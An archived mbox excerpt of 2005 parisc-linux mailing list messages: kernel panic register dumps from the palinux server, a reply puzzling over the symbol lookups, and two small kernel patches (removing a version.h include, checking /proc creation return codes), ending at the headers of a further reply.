r28-31  0000000000000000 0000000047c34630 0000000047c34720 00000000405d58c3
sr0-3   0000000000090800 0000000000090800 0000000000000000 0000000000090800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101b0b70 00000000101b0b58
 IIR: 0c6010d3    ISR: 0000000000000000  IOR: 0000000000000001
 CPU:        0   CR30: 0000000047c34000 CR31: 0000000010480000
 ORIG_R28: 0000000000000001
 IAOQ[0]: __d_lookup+0xc8/0x1a8
 IAOQ[1]: __d_lookup+0xb0/0x1a8
 RP(r2): do_lookup+0x3c/0xf0
Kernel panic: Kernel Fault


-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] latest palinux crash
Date: Mon, 27 Jun 2005 11:29:22 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20050627172922.GB17711@colo.lackof.org>
References: <20050625150905.GC5200@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624551 26919 80.91.229.3 (22 Nov 2014 02:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 17:25:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 27 Jun 2005 19:25:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90DF67D6F7;
	Mon, 27 Jun 2005 11:25:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03655-06; Mon, 27 Jun 2005 11:25:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D90B7D6BB;
	Mon, 27 Jun 2005 11:25:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2B4D7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 11:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03655-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 11:25:15 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 350A57D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 11:25:15 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 035E474F03; Mon, 27 Jun 2005 11:25:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id ABD2774EFD
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Jun 2005 11:25:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C317829803C;
	Mon, 27 Jun 2005 11:29:24 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26697-07; Mon, 27 Jun 2005 11:29:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 49DF429802F; Mon, 27 Jun 2005 11:29:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050625150905.GC5200@parcelfarce.linux.theplanet.co.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0lOyYjFceSEkWr6WZHQhaXN1IGRvb8Aq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25157

On Sat, Jun 25, 2005 at 04:09:05PM +0100, Matthew Wilcox wrote:
> 
> Kernel Fault: Code=26 regs=0000000047c34720 (Addr=0000000000000001)
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000011001111111000001111 Not tainted
> r00-03  0000000000000000 00000000105456f0 00000000101a3494 0000000000000001


> r04-07  00000000104b9200 00000000c55ec518 000000006eb29a2d 00000000bd27d428
> r08-11  0000000047c344d0 00000000141cc568 000000000000000a 0000000000000000
> r12-15  00000000204f0018 000000000000004e 0000000000000001 0000000000000000
> r16-19  0000000000000801 000000000004dee8 000000000004dee8 0000000000000000
> r20-23  000000000007ffff 00001389e3fff288 00000000140ce5c0 000020dd6eb29a2d
> r24-27  0000000047c344c0 0000000047c344d0 00000000bd27d428 00000000104b9200
> r28-31  0000000000000000 0000000047c34630 0000000047c34720 00000000405d58c3
> sr0-3   0000000000090800 0000000000090800 0000000000000000 0000000000090800
> sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101b0b70 00000000101b0b58
>  IIR: 0c6010d3    ISR: 0000000000000000  IOR: 0000000000000001
>  CPU:        0   CR30: 0000000047c34000 CR31: 0000000010480000
>  ORIG_R28: 0000000000000001
>  IAOQ[0]: __d_lookup+0xc8/0x1a8
>  IAOQ[1]: __d_lookup+0xb0/0x1a8
>  RP(r2): do_lookup+0x3c/0xf0
> Kernel panic: Kernel Fault

I'm not sure what to make of the kernel lookups.
Using build-tools/a.c and the matching System.map-2.6.11-pa4, I get:

GR02 0x101a3494 sys_mprotect+504
IOAQ[0] 0x101b0b70 shmem_getpage+ab0
IOAQ[1] 0x101b0b58 shmem_getpage+a98

Any clue what the "do_lookup" is getting?
Sounds like a bug.

grant
> 
> 
> -- 
> "Next the statesmen will invent cheap lies, putting the blame upon 
> the nation that is attacked, and every man will be glad of those
> conscience-soothing falsities, and will diligently study them, and refuse
> to examine any refutations of them; and thus he will by and by convince 
> himself that the war is just, and will thank God for the better sleep 
> he enjoys after this process of grotesque self-deception." -- Mark Twain
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Olaf Hering <olh@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 5/82] remove linux/version.h include from
	arch/parisc
Date: Sun, 10 Jul 2005 19:35:13 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <39063.433421734$1416624552@news.gmane.org>
References: <20050710193508.0.PmFpst2252.2247.olh@nectarine.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=utf-8
X-Trace: ger.gmane.org 1416624552 26926 80.91.229.3 (22 Nov 2014 02:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jul 2005 19:35:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 10 Jul 2005 21:35:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53B767D65E;
	Sun, 10 Jul 2005 13:35:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10842-06; Sun, 10 Jul 2005 13:35:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B67657D661;
	Sun, 10 Jul 2005 13:35:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC59D7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jul 2005 13:35:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10789-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jul 2005 13:35:16 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6C2FB7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Jul 2005 13:35:16 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 06B9F766D0; Sun, 10 Jul 2005 13:35:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.suse.de (mail.suse.de [195.135.220.2])
	by palinux.hppa (Postfix) with ESMTP id B5D6074FAF
	for <parisc-linux@parisc-linux.org>;
	Sun, 10 Jul 2005 13:35:15 -0600 (MDT)
Original-Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id EE61DEDFB;
	Sun, 10 Jul 2005 21:35:13 +0200 (CEST)
Content-Disposition: inline
X-DOS: I got your 640K Real Mode Right Here Buddy!
X-Homeland-Security: You are not supposed to read this line! You are a
	terrorist!
User-Agent: Mutt und vi sind doch schneller als Notes (und GroupWise)
In-Reply-To: <20050710193508.0.PmFpst2252.2247.olh@nectarine.suse.de>  
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Kx2jYgM+eSEkbL6WZHQhaXN1IGRvb0Bx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25158


changing CONFIG_LOCALVERSION rebuilds too much, for no appearent reason.

Signed-off-by: Olaf Hering <olh@suse.de>

arch/parisc/kernel/asm-offsets.c |    1 -
1 files changed, 1 deletion(-)

Index: linux-2.6.13-rc2-mm1/arch/parisc/kernel/asm-offsets.c
===================================================================
--- linux-2.6.13-rc2-mm1.orig/arch/parisc/kernel/asm-offsets.c
+++ linux-2.6.13-rc2-mm1/arch/parisc/kernel/asm-offsets.c
@@ -30,7 +30,6 @@
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/thread_info.h>
-#include <linux/version.h>
#include <linux/ptrace.h>
#include <linux/hardirq.h>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: domen@coderock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch 1/1] parisc/kernel/pci-dma: Audit return code
	of create_proc_*
Date: Fri, 15 Jul 2005 00:19:38 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20050714221937.998948000@homer>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624552 26936 80.91.229.3 (22 Nov 2014 02:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:12 +0000 (UTC)
Cc: domen@coderock.org,
 parisc-linux@parisc-linux.org
To: matthew@wil.cx
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 22:20:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 15 Jul 2005 00:20:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A6E27D6AA;
	Thu, 14 Jul 2005 16:19:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09653-01; Thu, 14 Jul 2005 16:19:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A732B7D6A3;
	Thu, 14 Jul 2005 16:19:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC0537D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 16:19:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09208-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 16:19:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3B7B77D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 16:19:50 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A8FB1495956; Thu, 14 Jul 2005 16:19:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from trashy.coderock.org (coderock.org [193.77.147.115])
	by palinux.hppa (Postfix) with ESMTP id 07F6D4940B3;
	Thu, 14 Jul 2005 16:19:48 -0600 (MDT)
Original-Received: by trashy.coderock.org (Postfix, from userid 780)
	id A265C1E8EB; Fri, 15 Jul 2005 00:19:42 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by trashy.coderock.org (Postfix) with ESMTP id B82231E69A;
	Fri, 15 Jul 2005 00:19:41 +0200 (CEST)
Original-Received: from homer.coderock.org (localhost [127.0.0.1])
	by trashy.coderock.org (Postfix) with ESMTP id 1576C1E698;
	Fri, 15 Jul 2005 00:19:39 +0200 (CEST)
Original-Received: (from domen@localhost)
	by homer.coderock.org (8.13.3/8.13.3/Submit) id j6EMJclK032130;
	Fri, 15 Jul 2005 00:19:38 +0200
Content-Disposition: inline; filename=return_code-arch_parisc_kernel_pci-dma
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on trashy.coderock.org
X-Spam-Status: No, score=-2.6 required=5.0 tests=ALL_TRUSTED,NO_REAL_NAME 
	autolearn=failed version=3.0.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RYCkYnJKeSEkTL6WZHQhaXN1IGRvbwAY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25159

From: Christophe Lucas <clucas@rotomalug.org>


---
 pci-dma.c |   30 ++++++++++++++++++++----------
 1 files changed, 20 insertions(+), 10 deletions(-)

Index: quilt/arch/parisc/kernel/pci-dma.c
===================================================================
--- quilt.orig/arch/parisc/kernel/pci-dma.c
+++ quilt/arch/parisc/kernel/pci-dma.c
@@ -333,18 +333,28 @@ pcxl_free_range(unsigned long vaddr, siz
 static int __init
 pcxl_dma_init(void)
 {
-    if (pcxl_dma_start == 0)
-	return 0;
+	if (pcxl_dma_start == 0)
+		return 0;
 
-    spin_lock_init(&pcxl_res_lock);
-    pcxl_res_size = PCXL_DMA_MAP_SIZE >> (PAGE_SHIFT + 3);
-    pcxl_res_hint = 0;
-    pcxl_res_map = (char *)__get_free_pages(GFP_KERNEL,
+	spin_lock_init(&pcxl_res_lock);
+	pcxl_res_size = PCXL_DMA_MAP_SIZE >> (PAGE_SHIFT + 3);
+	pcxl_res_hint = 0;
+	pcxl_res_map = (char *)__get_free_pages(GFP_KERNEL,
 					    get_order(pcxl_res_size));
-    memset(pcxl_res_map, 0, pcxl_res_size);
-    proc_gsc_root = proc_mkdir("gsc", 0);
-    create_proc_info_entry("dino", 0, proc_gsc_root, pcxl_proc_info);
-    return 0;
+	memset(pcxl_res_map, 0, pcxl_res_size);
+	proc_gsc_root = proc_mkdir("gsc", 0);
+	if (!proc_gsc_root)
+    		printk(KERN_WARNING
+			"pcxl_dma_init: Unable to create gsc /proc dir entry\n");
+	else {
+		struct proc_dir_entry* ent;
+		ent = create_proc_info_entry("dino", 0,
+				proc_gsc_root, pcxl_proc_info);
+		if (!ent)
+			printk(KERN_WARNING
+				"pci-dma.c: Unable to create dino /proc entry.\n");
+	}
+	return 0;
 }
 
 __initcall(pcxl_dma_init);

--
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Latest palinux crash
Date: Wed, 20 Jul 2005 13:22:27 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624552 26942 80.91.229.3 (22 Nov 2014 02:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 12:20:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 20 Jul 2005 14:20:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 594657D6B3;
	Wed, 20 Jul 2005 06:20:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30023-04; Wed, 20 Jul 2005 06:20:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 409C07D6B6;
	Wed, 20 Jul 2005 06:20:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F8EF7D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 06:20:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30023-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 06:20:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1F9657D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 06:20:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8D8223745BC; Wed, 20 Jul 2005 06:20:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 433583745B6
	for <parisc-linux@parisc-linux.org>;
	Wed, 20 Jul 2005 06:20:21 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DvDal-0000c5-Ji
	for parisc-linux@parisc-linux.org; Wed, 20 Jul 2005 13:22:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xiSsYqIieSEkUL6WZHQhaXN1IGRvbwBR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25160


This seems to be a bit different from most:

Bad Address (null pointer deref?): Code=15 regs=00000000ff8b88f0 (Addr=c000007f80000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001110001000001110 Not tainted
r00-03  0000000000000000 ffffffffffff5000 00000000101728f4 0000000098c54000
r04-07  00000000104b9200 00000000ff956900 00000000fff700e8 00000000ff956910
r08-11  000000000000001a 00000000105435e8 000000000000001b 0000000000200200
r12-15  0000000000100100 00000000ff956930 00000000000000f0 00000000000000ff
r16-19  00000000f00003dc 00000000f000028c 00000000f0002aec 00000000003bd64c
r20-23  ffffffff80000000 00000000eb78ed40 0000000012a06260 0000000000000000
r24-27  000000000000b000 0000000000000002 0000000098c545c0 00000000104b9200
r28-31  0000000000000002 00000000ff8b88c0 00000000ff8b88f0 0000000000000001
sr0-3   0000000000046800 0000000000046800 0000000000000000 0000000000046800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101728d4 00000000101728d8
 IIR: 0e9512c0    ISR: 000000003fffff80  IOR: c000007f80000000
 CPU:        0   CR30: 00000000ff8b8000 CR31: 0000000010480000
 ORIG_R28: 00000000104b9200
 IAOQ[0]: free_block+0xac/0x1a0
 IAOQ[1]: free_block+0xb0/0x1a0
 RP(r2): free_block+0xcc/0x1a0
Kernel panic: Bad Address (null pointer deref?)


-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 00:36:27 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20050721043626.GY30182@systemhalted.org>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624553 26947 80.91.229.3 (22 Nov 2014 02:49:13 GMT)
